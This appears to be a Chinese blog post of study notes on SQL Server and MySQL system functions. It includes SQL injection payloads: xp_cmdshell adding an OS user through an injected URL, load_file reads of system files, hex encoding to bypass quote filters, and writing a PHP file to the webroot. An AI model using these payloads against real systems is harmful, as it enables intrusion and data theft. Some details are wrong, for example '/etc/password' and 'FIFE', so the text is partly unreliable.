sql语句

作者: 喵了个咪0 | 来源:发表于2019-04-09 15:42 被阅读0次

SQL语句总结

SQLServer

SQLSever提供了非常多的系统函数,利用该系统函数可以访问SQLServer系统中的信息,而无须使用SQL语句查询。

suser_name():返回用户的登陆名;

user_name():基于指定的标识号返回数据库用户名;

db_name(): 返回数据库名称;

is_number('db_owner'): 是否为数据库角色;

convert(int,'5'): 数据类型转换;

sys.databases     SQL Server中的所有数据库

sys.sql_logins     SQL Server中的所有登录名

information_schema.tables     当前数据库中的表

information_schema.columns  当前数据库中的列

sys.all_columns    用户定义对象和系统的所有列的联合

sys.database_principals    数据库中每个权限或列异常权限

sys.database_files       存储在数据库中的数据库文件

sysobjects                 数据库中创建的每个对象

攻击者最常用的存储过程是xp_cmdshell,这个存储过程允许用户执行操作系统的命令;如果http://www.test.com/test.asp?id=1存在注入点,那么攻击者可以实施命令攻击:http:www.test.com/test.asp?id=1;exec xp_cmdshell 'net user test test /add',攻击者就可以利用xp_cmdshell操纵服务器。

http://somesite/show.asp?id=4864 and 1=(select IS_SRVROLEMEMBER(’sysadmin’)) 判断是否是系统权限;

查看数据库版本 @@version;

获取元数据:INFORMATION_SCHEMA.TABLES与INFORMATION_SCHEMA.COLUMNS视图取得数据库表以及表的字段。

select TABLE_NAME from INFORMATION_SCHEMA.TABLES   取得当前数据库表;

select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' 取得Student表字段;

MYSQL

  version()版本号

元数据:Mysql 5.0及其以上版本提供了INFORMATION_SCHEMA。

LIMIT i,j   LIMIT后面跟一个或两个整数参数,强制select语句返回指定的记录行(记录行i+1到j+i)

查询用户数据库名称:select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 检索第一行

查询当前数据库表:select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA= (select DATABASE()) limit 0,1

查询指定表的所有字段:select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' LIMIT 0,1

 load_file()函数读取文件操作:union select 1,load_file(’/etc/password‘),3,4,5,6 #

一些防注入的语句不允许单引号的出现,那么使用:union select 1,load_file( '/etc/password'十六进制转换结果),3,4,5,6 #来绕过;

写文件操作:select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

读写文件需要持有FIFE权限,并且文件必须为全路径名称。

如果需要一次查询多个数据,可以使用concat()或concat_ws()函数来完成。

concat()函数:select name from student where id=1 union select concat(user(),',',database(),',',version());

上面也可以转换为十六进制:select name from student where id =1 union select concat(user(),0x2c,database(),0x2c,version());

concat_ws()函数:select name from student where id =1 union select concat_ws(0x2c,user(),database(),version())

user()用户名

current_user()当前用户

system_user()系统用户

database()数据库名

version()版本

@@version_compile_os()操作系统

group_concat() 返回带有来自一个组的连接的非NULL值的字符串结果。

相关文章

网友评论

      本文标题:sql语句

      本文链接:https://www.haomeiwen.com/subject/sntiiqtx.html